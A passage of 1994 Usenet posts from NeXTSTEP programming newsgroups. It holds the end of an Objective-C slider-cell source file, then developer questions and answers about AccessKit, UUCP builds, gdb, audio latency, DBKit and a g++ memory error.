[textPal setFloatValue:value]; return self; } - decrement { if (value-altStep >= minValue) value -= altStep; else if (scfFlags.allowLower) { [self setMinValue:value+altStep]; value -= altStep; } else return nil; // failed to work [textPal setFloatValue:value]; return self; } - (float)checkValue:(float)val // returns validated number { if (val>= minValue && val<= maxValue) { value = val; return val; } else if (val<minValue && scfFlags.allowLower) { [self setMinValue:val]; value = val; return val; } else if (val>maxValue && scfFlags.allowHigher) { [self setMaxValue:val]; value = val; return val; } else return value; // no change allowed } -(BOOL)isDecimal { return scfFlags.isDecimal; } - (BOOL)continueTracking:(const NXPoint *)lastPoint at:(const NXPoint *)currentPoint inView:controlView { NXEvent *e = [NXApp currentEvent]; // NOTE: check to be sure lastPoint is valid!!! if (e->flags & NX_ALTERNATEMASK) { NXRect r; float step = altStep; if (!lastPoint) lastPoint = currentPoint; if (e->flags & NX_SHIFTMASK) { if (textPal) { [textPal setFloatingPointFormat:YES left:2 right:2]; scfFlags.isDecimal =YES; } if (e->flags & NX_COMMANDMASK) step*=SUPERFINE; // not whole now else step *= FINE; // this could be user configured } else if (scfFlags.isWhole) value = floor(value); if (trackRect.size.width>trackRect.size.height) { [self getKnobRect:&r flipped:NO]; if (r.origin.x+r.size.width<trackRect.size.width) r.size.width+=1.; if (currentPoint->x >lastPoint->x) { value+=step;if (value>maxValue) value=maxValue; } else if (currentPoint->x < lastPoint->x) { value -= step;if (value<minValue)value=minValue; } } else { // is a vertical slider [self getKnobRect:&r flipped:YES]; if (r.origin.y+r.size.height<trackRect.size.height) r.size.height+=1.; if (currentPoint->y < lastPoint->y) { value+=step; if (value>maxValue) value=maxValue; } else if (currentPoint->y > lastPoint->y) { value -= step; if (value<minValue)value=minValue; } } PSsetgray(.5); // Track gray 1.0 NXRectFill(&r); [self drawKnob]; [textPal setFloatValue:value]; if (scfFlags.sendContinuously) [controlView _sendIt]; lastPoint = currentPoint; return YES; } else if (e->flags & NX_COMMANDMASK) { NXRect r; if (trackRect.size.width>trackRect.size.height) [self getKnobRect:&r flipped:NO]; else [self getKnobRect:&r flipped:YES]; value = defaultValue; if (textPal) { [textPal setFloatingPointFormat:NO left:4 right:0]; [textPal setFloatValue:value]; scfFlags.isDecimal = NO; } if (defaultMax) [self setMaxValue:defaultMax]; if (defaultMin) [self setMinValue:defaultMin]; PSsetgray(.5); NXRectFill(&r); [self drawKnob]; return YES; } else { BOOL retVal; [textPal setFloatValue:value]; retVal =[super continueTracking:(const NXPoint *)lastPoint at:(const NXPoint *)currentPoint inView:controlView]; [textPal setFloatValue:value]; //YUP, two times is better than 1! return retVal; } } // Client Initialization Routines: // this method allows slider to setup what fine step will be // and if we should keep it to a whole integer - setAltStep:(float)step whole:(BOOL)flag default:(float)val { scfFlags.isWhole = flag; scfFlags.isDecimal = 1-flag; // support for Clients rounding results if (scfFlags.isWhole) [textPal setFloatingPointFormat:NO left:4 right:0]; altStep = step; defaultValue = val; value = val; return self; } // set highest high and yes if you can surpass and lowest lows and surpass flag - setMax:(float)max allowHigher:(BOOL)hi min:(float)min allowLower:(BOOL)lo { defaultMax = max; [self setMaxValue:max]; defaultMin = min; [self setMinValue:min]; scfFlags.allowHigher = hi; scfFlags.allowLower = lo; return self; } - readThemFlags:(NXTypedStream *)stream { unsigned char isWhole; unsigned char isDecimal; unsigned char allowLower; unsigned char allowHigher; unsigned char sendContinuously; NXReadTypes(stream,"CCCCC",&isWhole,&isDecimal,&allowLower,&allowHighe r,&sendContinuously); scfFlags.isWhole = isWhole; scfFlags.isDecimal = isDecimal; scfFlags.allowLower = allowLower; scfFlags.allowHigher = allowHigher; scfFlags.sendContinuously = sendContinuously; return self; } // archive methods: // not tested C.E. - read:(NXTypedStream *)stream { int version; [super read:stream]; version = NXTypedStreamClassVersion(stream, "SliderCellFine"); if (version < 300) { //| NXReadTypes(stream,"sffff",&scfFlags,&altStep, &defaultValue,&defaultMax,&defaultMin); unsigned short s; NXReadTypes(stream,"sffff",&s,&altStep, &defaultValue,&defaultMax,&defaultMin); *((unsigned short *)&scfFlags)= SDSwapShortBitFields(s); } else { [self readThemFlags:stream]; NXReadTypes(stream,"ffff",&altStep, &d efaultValue,&defaultMax,&defaultMin); } [self setMinValue:defaultMin]; [self setMaxValue:defaultMax]; return self; } - writeThemFlags:(NXTypedStream *)stream { unsigned char isWhole = scfFlags.isWhole; unsigned char isDecimal = scfFlags.isDecimal; unsigned char allowLower = scfFlags.allowLower; unsigned char allowHigher = scfFlags.allowHigher; unsigned char sendContinuously = scfFlags.sendContinuously; NXWriteTypes(stream,"CCCCC",&isWhole,&isDecimal,&allowLower,&allowHigh er,&sendContinuously); return self; } - write:(NXTypedStream *)stream { [super write:stream]; [self writeThemFlags:stream]; NXWriteTypes(stream,"ffff",&altStep, &defaultValue,&defaultMax,&defaultMin); return self; } // private and historical functions - _setAlwaysSendUpAction:(BOOL)flag { scfFlags.sendContinuously = flag; return self; } - setDefault:(float) def { defaultValue = def; // needed for GrayView return self; } - setTextPal:anObject { textPal = anObject; return self; } @end -- ||<<->>||<<==>>|S<<++>>|T<<?>O<+>>N|<<-->>E|<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Have Modem Why Travel !! ||<<->>|D<<==>>|E<<++>>|S<<?>|<+>>G|<<-->>N|<<==>>!|<<+>>||
From: (Horace Lim) hal@xedoc.com.au Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: Anyone using AccessKit from VNP? Date: 15 May 1994 08:13:05 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2r4lih$q8r@yarrina.connect.com.au> Keywords: AccessKit, persistence, OODB Hi all, I'm just reading the concepts manual for VNP's AccessKit. Conceptually sounds fantastic (why hasn't anyone done this before?)... allows RDBMS like Oracle and Sybase to have persistent object behaviour! This might even accelerate the move towards OODBMS, or it will allow RDBMSes to hang around a little longer. Is anyone out there using AccessKit who dont' mind sharing some experiences? Please respond directly as well as publicly... Thanks in advance, Horace --- ------------------------------------------------------- Horace A. Lim If you want your people to move the Sahara desert, they need more than shovels Internet : hal@xedoc.com.au (NeXTMail appreciated) Channels Manager, Xedoc Software Development Pty Ltd 222 Park St, South Melbourne, VIC 3205 AUSTRALIA Phone: +61 3 696 2490, Facimile: +61 3 696 6757 We give you NetInfo for Sparc,Auspex,HP/UX,RS/6000,Digital OSF/1 & more. ------------------------------------------------------- -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!3=&]N95-A;G,[?0I<;6%R M9VPQ,C`*7&UA<F=R,3(P"EQP87)D7'1X-34Q7'1X,3$P,EQT>#$V-3-<='@R M,C`T7'1X,C<U-5QT>#,S,#9<='@S.#4W7'1X-#0P.%QT>#0Y-3E<='@U-3$P M7&8P7&(P7&DP7'5L;F]N95QF<S(T7&9C,%QC9C`@2&D@86QL+%P*7`I))VT@ M:G5S="!R96%D:6YG('1H92!C;VYC97!T<R!M86YU86P@9F]R(%9.4"=S($%C M8V5S<TMI="Y<"EP*0V]N8V5P='5A;&QY('-O=6YD<R!F86YT87-T:6,@*'=H M>2!H87-N)W0@86YY;VYE(&1O;F4@=&AI<R!B969O<F4_*2XN+B!A;&QO=W,@ M4D1"35,@;&EK92!/<F%C;&4@86YD(%-Y8F%S92!T;R!H879E('!E<G-I<W1E M;G0@;V)J96-T(&)E:&%V:6]U<B$@(%1H:7,@;6EG:'0@979E;B!A8V-E;&5R M871E('1H92!M;W9E('1O=V%R9',@3T]$0DU3+"!O<B!I="!W:6QL(&%L;&]W M(%)$0DU397,@=&\@:&%N9R!A<F]U;F0@82!L:71T;&4@;&]N9V5R+EP*7`I) M<R!A;GEO;F4@;W5T('1H97)E('5S:6YG($%C8V5S<TMI="!W:&\@9&]N="<@ M;6EN9"!S:&%R:6YG('-O;64@97AP97)I96YC97,_7`I<"E!L96%S92!R97-P M;VYD(&1I<F5C=&QY(&%S('=E;&P@87,@<'5B;&EC;'DN+BY<"EP*5&AA;FMS M(&EN(&%D=F%N8V4L($AO<F%C95P*+2TM7`HM+2TM+2TM+2TM+2TM+2TM+2TM M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM7`I(;W)A8V4@ M02X@3&EM(*I)9B!Y;W4@=V%N="!Y;W5R('!E;W!L92!T;R!M;W9E('1H92!3 M86AA<F$@9&5S97)T+"!T:&5Y(&YE960@;6]R92!T:&%N('-H;W9E;'.Z7`I) M;G1E<FYE="`Z(&AA;$!X961O8RYC;VTN874@*$YE6%1-86EL(&%P<')E8VEA M=&5D*5P*0VAA;FYE;',@36%N86=E<BP@6&5D;V,@4V]F='=A<F4@1&5V96QO M<&UE;G0@4'1Y($QT9%P*,C(R(%!A<FL@4W0L(%-O=71H($UE;&)O=7)N92P@ M5DE#(#,R,#4@05535%)!3$E!7`I0:&]N93H@("`@*S8Q(#,@-CDV(#(T.3`L M("!&86-I;6EL93H@*S8Q(#,@-CDV(#8W-3=<"@I<"JI792!G:79E('EO=2!. M971);F9O(&9O<B!3<&%R8RQ!=7-P97@L2%`O55@L4E,O-C`P,"Q$:6=I=&%L M($]31B\Q("8@;6]R92ZZ7`HM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM @+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM7`H*?0HM `
From: silbar@cantina.lanl.gov (Dick Silbar) Newsgroups: comp.sys.next.programmer Subject: Re: Anyone have a free graph object? Date: 15 May 1994 08:57:37 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9405151356.AA08020@cantina.lanl.gov> Mike Fox asked, > I'm looking for a 2D graph object along the lines of > the LineGraph object (from the Graph app in > /NextDeveloper/Examples), but with a bit more > functionality (e.g. labels, tick marks, etc.) Does anyone > have such a beast that they are willing to share. Oh, > by the way, the object would only be for personal use, > and not a commercial app. There is nxypalette on the archives, a palette object by Charlie Fletcher, based on NASA-Ames' nxyplot.app. It has been fixed to run on 3.x. Dick Silbar WhistleSoft, Inc.
From: gaia@wam.umd.edu (L. Anathea Brooks) Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.misc Subject: Where InstantTeX for NS/FIP? Date: 15 May 1994 14:31:21 GMT Organization: University of Maryland, College Park Message-ID: <2r5bnp$oh9@cville-srv.wam.umd.edu> The binaries at the archives are for black hw only. Are there binaries anywhere for NS/Intel? thanks R. de Lucca Johns Hopkins University
Newsgroups: comp.mail.uucp,comp.sys.next.sysadmin,comp.sys.next.programmer From: westes@netcom.com (Will Estes) Subject: Question on Taylor UUCP Makefile Message-ID: <westesCpuwoL.F2r@netcom.com> Organization: Mail Group Date: Sun, 15 May 1994 18:29:09 GMT The Makefile for Taylor UUCP 1.04 contains the following section: # If you do not have the mkdir system call, undefine the following three # lines. This will install uudir as an suid root program. This is # necessary because invoking /bin/mkdir from an suid program will # leave the directories owned by the wrong user. # UUDIR = uudir # uudirdir = $(sbindir)/util # UUDIRFLAGS = -DUUDIR_PROGRAM=\"$(uudirdir)/$(UUDIR)\" For a NeXTSTEP 3.2 FIP system, do I need to undefine these three lines? I couldn not find a mkdir as a system call. -- Will Estes Internet: westes@netcom.com
From: wln@news.cs.columbia.edu (William Lee Nussbaum) Newsgroups: comp.sys.next.programmer Subject: cmsg cancel <2r60lq$et0@pizza.cs.columbia.edu> Control: cancel <2r60lq$et0@pizza.cs.columbia.edu> Date: 15 May 1994 16:37:07 -0400 Organization: Columbia University Department of Computer Science Message-ID: <2r615j$eu8@pizza.cs.columbia.edu> <2r60lq$et0@pizza.cs.columbia.edu> was cancelled from within trn.
From: thomas@zippy.sonoma.edu (Thomas Poff) Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer Subject: Re: NeXT & MM Date: 15 May 1994 21:39:03 GMT Organization: Sonoma State University, Rohnert Park, Ca. Message-ID: <2r64pn$il2@nic-nac.CSU.net> References: <ZHAO.94May12083224@sparta.crl.nmsu.edu> If NeXT _isn't_ interested in multimedia, then there are definitely other companies that can be said to be interested in multimedia running on NeXTStep. In my own humble opinion, NeXTStep has infinitely larger growth potential in the multimedia market than any other OS does. This is particularly true in networked multimedia projects, but also true in more conservative multimedia applications. Pathetically short development cycles help to justify multimedia apps running under NeXTStep. There are additional perks like dynamic loading of objects that help too (particularly in terms of building cd-rom based multimedia apps). However, the real exciting thing about multimedia on the NeXT is the ease of use with regard to distributed-objects technology (running on networks). One thing that has kind of surprised me is that Interface Builder hasn't (been) grown past it's current incarnation. With a lot of work, it could become the first authoring system bundled with an OS. In addition, it could still be everything that it is today for more traditional application development. (I'm using that word "traditional" very loosely here) :-) --thomas-- thomas@zippy.sonoma.edu ---- In article <ZHAO.94May12083224@sparta.crl.nmsu.edu>, Z. Zhao <zhao@crl.nmsu.edu> wrote: >Some people in this group may be interested in the following article >posted in comp.multimedia and etc. > >I do think NeXT should have some important impact on multimedia >development. However, is NeXT interested in mm? Probably, they are, >and focused on the application for bankers. > > > >
Newsgroups: comp.sys.next.programmer,comp.sys.next.software From: mark@oa.guild.org (Mark Onyschuk) Subject: Re: Anyone using AccessKit from VNP? Message-ID: <CputHt.3GM@oa.guild.org> Keywords: AccessKit, persistence, OODB Organization: M. Onyschuk and Associates Inc., Toronto References: <2r4lih$q8r@yarrina.connect.com.au> Date: Sun, 15 May 1994 17:20:17 GMT hal@xedoc.com.au wrote: >Hi all, > >I'm just reading the concepts manual for VNP's AccessKit. > >Conceptually sounds fantastic (why hasn't anyone done this >before?)... allows RDBMS like Oracle and Sybase to have persistent >object behaviour! This might even accelerate the move towards >OODBMS, or it will allow RDBMSes to hang around a little longer. > >Is anyone out there using AccessKit who dont' mind sharing some >experiences? I've used Access kit in projects for a local client. It's a great product especially coupled with the VNP companion product UIBinder or a work-alike (we rolled our own UI binder-like tool called OABinder). Certainly for large projects, or for substantial reuse among a number of projects, the Access Kit OO paradigm is the way to go. Some minor shortcomings: 1. VNPConfigure application is a bit unweildy. 2. No tool is provided to generate persistent Objective C object skeletons. (we built a short PERL script to fix the second problem) Some important points (IMHO) to consider: 1. Look for a tool like UIBinder to use when building Access Kit applications, otherwise you'll find yourself writing lots of extra Objective C code moving data between UI and persistent objects. This additional code: * creates needless dependencies between UI and program source making rapid prototyping more difficult and UI re-arrangements more prone to error. * obfuscates application logic -- your program concerns itself less with business practice and more with UI maintenance -- and so becomes more difficult to repair and enhance at a later date. Best Regards, Mark -- M. Onyschuk and Associates Inc., Toronto | mark@oa.guild.org Incredible 3-D House of NEXTSTEP Software Development | NEXTMAIL accepted here ------------------------------------------------------+----------------------- /Courier findfont 12 scalefont setfont 72 72 moveto (Practice PostScript) show
From: ccwf@zanzibar.klab.caltech.edu (Charles Fu) Newsgroups: comp.sys.next.programmer Subject: vgrind (was Re: Hints on using Emacs for NeXTstep) Date: 16 May 1994 03:30:59 GMT Organization: FTL Enterprises, Inc. Message-ID: <2r6pdj$n23@gap.cco.caltech.edu> References: <2q2802$62n@nic-nac.csu.net> Summary: vgrind is buggy Keywords: vgrind, bug In article <2q2802$62n@nic-nac.csu.net>, Eric P. Scott <eps@cs.sfsu.edu> wrote: >[Followups to comp.sys.next.software] >RTF code is EVIL. If I feel the need to see Stupid Font Tricks, >I can run stuff through vgrind. Have you actually done this, Eric? At least under NS3.2, vgrind unfortunately regards '|' as a zero-width character, making it impossible to tell the difference between '||' and '|. Distinctly annoying if you are processing code that uses both '|' and '||'. Of course, it also screws up other uses of '|'--drawing boxes, '|=', or whatever. The problem reminds me of the zero-width '|' bug in certain sizes of Ohlfs font (for Raf, the bug was introduced in 3.0 and fixed in 3.2). However, vgrind does not use Ohlfs for output; it uses Times-Roman. And doing a plain show of '||' in PostScript yields the proper result (which means it does the right thing in Edit and other Text object-based apps). I recently (finally) wiped my NS2.1 and NS3.1 partitions (keeping the no-longer shipped header files and utilities, of course :-), so I cannot say if the vgrind problem was present in older versions of NEXTSTEP. -ccwf You may reduce all _Verticals_ into _Horizontals_. -Joseph Moxon, _A Tutor to Astronomie and Geographie_ as quoted in _The TeXbook_
From: ccwf@zanzibar.klab.caltech.edu (Charles Fu) Newsgroups: comp.sys.next.programmer Subject: Re: looking for docs on mmap() Date: 16 May 1994 03:38:37 GMT Organization: California Institute of Technology, Pasadena Message-ID: <2r6pru$n8s@gap.cco.caltech.edu> References: <1994May5.103625.17990@news.cs.indiana.edu> <1994May7.165028.7705@gamelan.sh.sub.de> In article <1994May7.165028.7705@gamelan.sh.sub.de>, Thomas Funke <thomas@gamelan.sh.sub.de> wrote: >mmap() system call is not documented or supported by NeXT. Get a man-page >from some other unix system (sun e.g.) Yes. But beware that NeXT does not support all of Suns mmap options. Depending on your reason for wanting to use mmap, you may be able to use map_fd instead. -ccwf
Newsgroups: comp.sys.next.programmer From: tynor@atlanta.twr.com (Steve Tynor) Subject: ./configure for gdb on NeXTSTEP 3.2/Intel Message-ID: <TYNOR.94May15222012@twratl.atlanta.twr.com> Sender: tynor@atlanta.twr.com (Steve Tynor) Organization: Tower Technology Date: Mon, 16 May 1994 03:20:12 GMT Has anyone succesfully built gdb for NeXTSTEP/Intel (other than the gdb that NeXT ships with the developer kit)? I'm trying to build gdb 4.12. I've tried configuring as: i386-next-bsd (same config that worked for gcc 2.5.8) i386-next-mach i386-mach-mach I've tried using both gcc 2.2.2 (the cc supplied with the developer kit) and 2.5.8 to do the compiles. All combinations die with c-compiler errors in the bfd directory. Ideas? =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Look out! There are llamas! Steve Tynor Internet: Steve.Tynor@atlanta.twr.com Tower Technology UUCP: twratl!Steve.Tynor
From: wln@news.cs.columbia.edu (William Lee Nussbaum) Newsgroups: comp.sys.next.programmer Subject: Doing low-latency bidirectional audio... Date: 16 May 1994 01:36:47 -0400 Organization: Columbia University Department of Computer Science Message-ID: <2r70pf$gj3@pizza.cs.columbia.edu> After exploring ref manuals, NeXTanswers, faqs, source to a 'sndulaw' and 'radio' program found on orst, I'm still puzzled as to how one can get reliably low-latency audio from (and put the same to) NeXTSTEP in small chunks (order of 20ms, which is 160 mulaw samples)... preferably as asynchronously as possible. Does anyone have any clues or advice they could share? Much thanks -- -- Lee
From: wln@news.cs.columbia.edu (William Lee Nussbaum) Newsgroups: comp.sys.next.programmer Subject: Re: Doing low-latency bidirectional audio... Date: 16 May 1994 01:51:28 -0400 Organization: Columbia University Department of Computer Science Message-ID: <2r71l0$glu@pizza.cs.columbia.edu> References: <2r70pf$gj3@pizza.cs.columbia.edu> In article <2r70pf$gj3@pizza.cs.columbia.edu>, I <wln@cs.columbia.edu> wrote, a little hastily: >After exploring ref manuals, NeXTanswers, faqs, source to a 'sndulaw' >and 'radio' program found on orst, I'm still puzzled as to how one can >get reliably low-latency audio from (and put the same to) NeXTSTEP in >small chunks (order of 20ms, which is 160 mulaw samples)... >preferably as asynchronously as possible. Does anyone have any clues >or advice they could share? Sorry about that... I've been moderately foolish, and hadn't given enough of a look at the classes yet, and was trying to work out how to get this functionality out of the SND* functions... if anyone has done this, the advice would still be appreciated, since it will still take more time to figure things out without source examples (and for this reason I decided not to just cancel the message...) but I apologize for rushing ahead with a posting sooner than may have been prudent... Again, thanks -- -- Lee
From: c9039@rrzc1a (Roland Schwingel) Newsgroups: comp.sys.next.programmer Subject: How can I set the mouse ??? Date: 16 May 1994 07:53:47 GMT Organization: University of Regensburg, Germany Message-ID: <2r78qbINNsq6@rrzs3.uni-regensburg.de> Hello, I got a little problem. I want to set the mousepointer anywhere on the screen and send some events (like mousebuttons etc.) I haven't found anything in the docs right now. Any ideas how I can do this ??? Thank you very much for your help, Roland. -- -------------------------------------------------------------------------------- Roland Schwingel, Lilienthalstrasse 9, 92421 Schwandorf, Germany NEW Email:roland.schwingel@extern.uni-regensburg.de --------------------------------------------------------------------------------
Control: cancel <westesCpuwoL.F2r@netcom.com> Newsgroups: comp.mail.uucp,comp.sys.next.sysadmin,comp.sys.next.programmer From: westes@netcom.com (Will Estes) Subject: cancel <westesCpuwoL.F2r@netcom.com> Message-ID: <westesCpvvF1.3r2@netcom.com> Organization: Mail Group Date: Mon, 16 May 1994 06:59:24 GMT Article cancelled from within tin [v1.2 PL1] -- Will Estes Internet: westes@netcom.com
Control: cancel <westesCpuwoL.F2r@netcom.com> Newsgroups: comp.mail.uucp,comp.sys.next.sysadmin,comp.sys.next.programmer From: westes@netcom.com (Will Estes) Subject: cancel <westesCpuwoL.F2r@netcom.com> Message-ID: <westesCpvvH6.3uD@netcom.com> Organization: Mail Group Date: Mon, 16 May 1994 07:00:42 GMT Article cancelled from within tin [v1.2 PL1] -- Will Estes Internet: westes@netcom.com
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.mail.uucp,comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Re: Question on Taylor UUCP Makefile Date: 16 May 1994 07:55:54 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May16085554@steffi.demon.co.uk> References: <westesCpuwoL.F2r@netcom.com> To: westes@netcom.com (Will Estes) In-reply-to: westes@netcom.com's message of Sun, 15 May 1994 18:29:09 GMT <westes@netcom.com> writes: >The Makefile for Taylor UUCP 1.04 contains the following section: ># If you do not have the mkdir system call, undefine the following three ># lines. This will install uudir as an suid root program. This is ># necessary because invoking /bin/mkdir from an suid program will ># leave the directories owned by the wrong user. ># UUDIR = uudir ># uudirdir = $(sbindir)/util ># UUDIRFLAGS = -DUUDIR_PROGRAM=\"$(uudirdir)/$(UUDIR)\" >For a NeXTSTEP 3.2 FIP system, do I need to undefine these three >lines? I couldn not find a mkdir as a system call. Put it this way... man 2 mkdir MKDIR(2) UNIX Programmer's Manual MKDIR(2) NAME mkdir - make a directory SYNOPSIS #include <sys/types.h> #include <sys/stat.h> int mkdir(const char *path, mode_t mode); -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: sdroll@troi.mathematik.uni-wuerzburg.de (Droll Sven) Newsgroups: comp.sys.next.programmer Subject: Re: what is .gz file extension? Is it the gzip compresion utility? Date: 16 May 1994 09:06:50 GMT Organization: University of Wuerzburg, Germany Distribution: world Message-ID: <2r7d3a$77e@winx03.informatik.uni-wuerzburg.de> References: <2r0rj8$bm0@nntp.ucs.ubc.ca> The .gz extension stands for the gzip (gnu-zip) compression. -- __ ______________________________________________/ / ______ __________ Sven Droll / /_/ ___/ Euerdorf, Bavaria, Germany \__/ _/ sdroll@wmax68.mathematik.uni-wuerzburg.de =====\_/======= ___________________________________________LOGOUT FASCISM!_________
Newsgroups: comp.sys.next.programmer From: karl@trapac.com (Karl Kraft) Subject: fetchUsingQualifier works only 50 times?? Message-ID: <Cpvy0A.14o@trapac.com> Sender: karl@trapac.com (Karl Kraft) Organization: Trans Pacific Container Service Corporation Date: Mon, 16 May 1994 07:55:21 GMT I have an application in development that uses DBKit. In order to reduce the amount of data transfer, I have implemented the following policy: On my first fetchUsingQualifier, I grab a list of the unique key values in a table. Whenever I need to load a piece of information about a record, I use the unique key and fetchUsingQualifier to grab the specific property for that record. The problem is that this fails after the 50th fetch. It fails consistently after the 50th fetch. With such a round (human wise) number, it looks very suspicios. fetchUsingQualifier simply return nil, and thus getValue:forProperty: also returns nothing useful. Of course, the documentation for fetchUsingQualifier: simply states that nil is returned on an error, but gives me no clues as to what the error might be. In the assumption that some type of slot is not being freed, I have tried freeing everything, nothing, and reusing all the dbkit objects to no avail. ----------------- The vitals NEXTSTEP/FIP using 3.2 Oracle on RS/6000 w/AIX Oracle database is not limited to 50 connections. I was able to run two version of the app at the same time, and each fails after it's 50th fetch fetchUsingQualifier on a DBRecordStream All the DBKit objects are created in code, not in IB. Each of the second style of fetch only gets back two properties. ---------------- I'm open to suggestions...... -- Karl Kraft Karl_Kraft@trapac.com Karl_Kraft@ensuing.com [My opinions are my own]
From: hdwoernd@faui06a.informatik.uni-erlangen.de (Harald Woerndl-Aichriedler) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: Re: Programming in Edit ? : Page up/down on a CommandKey Date: Mon, 16 May 1994 13:14:34 +0200 Organization: Student Pool, CSD, University of Erlangen, Germany Message-ID: <2r7kiq$1lu@faui06a.informatik.uni-erlangen.de> References: <2r0hpu$h7h@hermes.uni-konstanz.de> erland@spock.physik.uni-konstanz.de (Erland Wittkoetter) writes: >Unfortunately I miss one ability in Edit. On PC's we have extra >page up / page down keys which make it pretty fast if you prefer to >work only with your keyboard. I really miss this ability. But maybe >there is a way to implement this also in the current version >of Edit. Is there any expert out there, who has already find out >how to do this. One hint: hold the alternate key (Atr-Gr) and klick on the line up/down buttons. You'll see, edit is understanding the PageUp / Down Message. The Keyboard driver also knows about this keys. So it should be possible to implement it into the system. Bye, Harry ======================================================== Harald Woerndl-Aichriedler Uni-Erlangen hdwoernd@cip.informatik.uni-erlangen.de
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: Re: scrolling question Message-ID: <1994May16.134531.26719@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <1994May12.175812.24012@news.media.mit.edu> Date: Mon, 16 May 1994 13:45:31 GMT Michael, One problem with scrollSelToVisible is that you have to set the selection, which means that that text object will try to become first responder. Now if you are doing something like showing an error message about an invalid entry and you are inside of textWillEnd: from some text field which is trying to resign first responder, then setting the selection will send a resignFirstResponder and generate another textWillEnd: and voila: inifinite loop. Sixteen thousand stack frames later you crash without a clue as to where or why. Check out View's scrollRectToVisible: method. Monty Michael B. Johnson writes > In article <1994May12.172021.23265@news.media.mit.edu> wave@media.mit.edu (Michael B. Johnson) writes: > >>Well, after flipping back and forth on the doc for ClipView and ScrollView, > >>I turn to y'all.. > >> > >>I have a ScrollView I've dragged out in IB (so it already has a ClipView > >>and Text object as a docView inside). I use this ScrollView to report > >>various information. The problem is that as soon as the information starts > >>to run off the bottom of the Text object, the scroller appears, but I > >>have to click on the scroller and scroll down to see the latest info. > >>In other words, I want the scroll view to automatically scroll such that > >>the latest info is always showing. This must be easy, right? I saw > >>the "autoscroll" method in ClipView, but that didn't look like the right > >>thing... I have a feeling what I want is somewhere in the Text object, > >>but I've only done the most mundane things with Text... > >> > > duh. answering my own post, how boring... > > send the Text object the "scrollSelToVisible", of course. > > > -- > --> Michael B. Johnson -- wave@media.mit.edu > --> MIT Media Lab -- Computer Graphics & Animation Group > --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) > --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: pfkeb@kaon.SLAC.Stanford.EDU (Paul F. Kunz) Subject: Re: GNUStep mailing list address? In-Reply-To: garth@syd.au.swissbank.com's message of Wed, 11 May 1994 23:37:11 GMT Message-ID: <PFKEB.94May16072957@kaon.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center References: <1994May11.233711.23056@il.us.swissbank.com> Date: Mon, 16 May 1994 14:29:55 GMT >>>>> On Wed, 11 May 1994 23:37:11 GMT, garth@syd.au.swissbank.com (Garth Ormsby) said: In article <1994May11.233711.23056@il.us.swissbank.com> garth@syd.au.swissbank.com (Garth Ormsby) writes: > Anyone know it? Cheers, Garth. The GNUStep mailing list is gnustep-l@netcom.com -- Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) Stanford Linear Accelerator Center, Stanford University Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
From: cfleming@alleg.edu (Chuck Fleming) Newsgroups: comp.sys.next.programmer Subject: Re: How can I set the mouse ??? Date: 16 May 1994 15:03:56 GMT Organization: Allegheny College Distribution: world Message-ID: <2r820s$nuh@mustang.alleg.edu> References: <2r78qbINNsq6@rrzs3.uni-regensburg.de> Keywords: mouse, events In article <2r78qbINNsq6@rrzs3.uni-regensburg.de> c9039@rrzc1a (Roland Schwingel) writes: > Hello, > > I got a little problem. I want to set the mousepointer anywhere > on the screen and send some events (like mousebuttons etc.) I haven't > found anything in the docs right now. Any ideas how I can do this ??? > Take a look in evsio.h at EVSIOLLPE and EVSIOPTRLLPE. You'll probably also have to call NXOpenEventStatus to get an NXEventHandle from which you might be able to extract a file descriptor to use with the ioctls. Disclaimer: I haven't tried these ioctls, but am about to. -- ########################################### Chuck Fleming (cfleming@alleg.edu) Educational Computing Services Allegheny College NeXTMail welcome ###########################################
From: perkins@sidney.cps.msu.edu (Stephen Perkins) Newsgroups: comp.sys.next.programmer Subject: NeXT memory model and g++ Date: 16 May 1994 16:29:31 GMT Organization: Michigan State University Distribution: world Message-ID: <2r871b$qir@msuinfo.cl.msu.edu> The code below, although it looks like it should work, is causing problems when compiled on NeXT (moto 040, OS 3.2). I am using the latest version of libg++ and gcc 2.5.8. The problem occurs at the "data = ..." statment marked below. ================================================= void fxStr::resizeInternal(u_int chars) { if (slength > 1) { if (chars > 0) { if (chars >= slength) data = (char *)realloc(data,chars+1); } else { assert(data != &emptyString); free(data); data = &emptyString; } } else { assert(data == &emptyString); if (chars) => data = new char[chars+1]; /* +++ */ assert(data != NULL); } } ================================================= Here is the error message that I get: memory allocation error: attempt to free or realloc space not in heap IOT trap A GDB backtrace shows: #0 0x5007974 in kill () #1 0x5 in ?? () #2 0x5053fd2 in abort () #3 0x5057baa in DefaultMallocError () #4 0x5008b0e in nxzonemallocnolock () #5 0x50090b8 in nxzonemalloc () #6 0x5009968 in malloc () #7 0x31236 in __builtin_new (sz=0) #8 0x7040 in fxStr::resizeInternal (this=0x4011504, chars=14) at Str.c++:271 #9 0x7138 in fxStr::operator= (this=0x15290e, 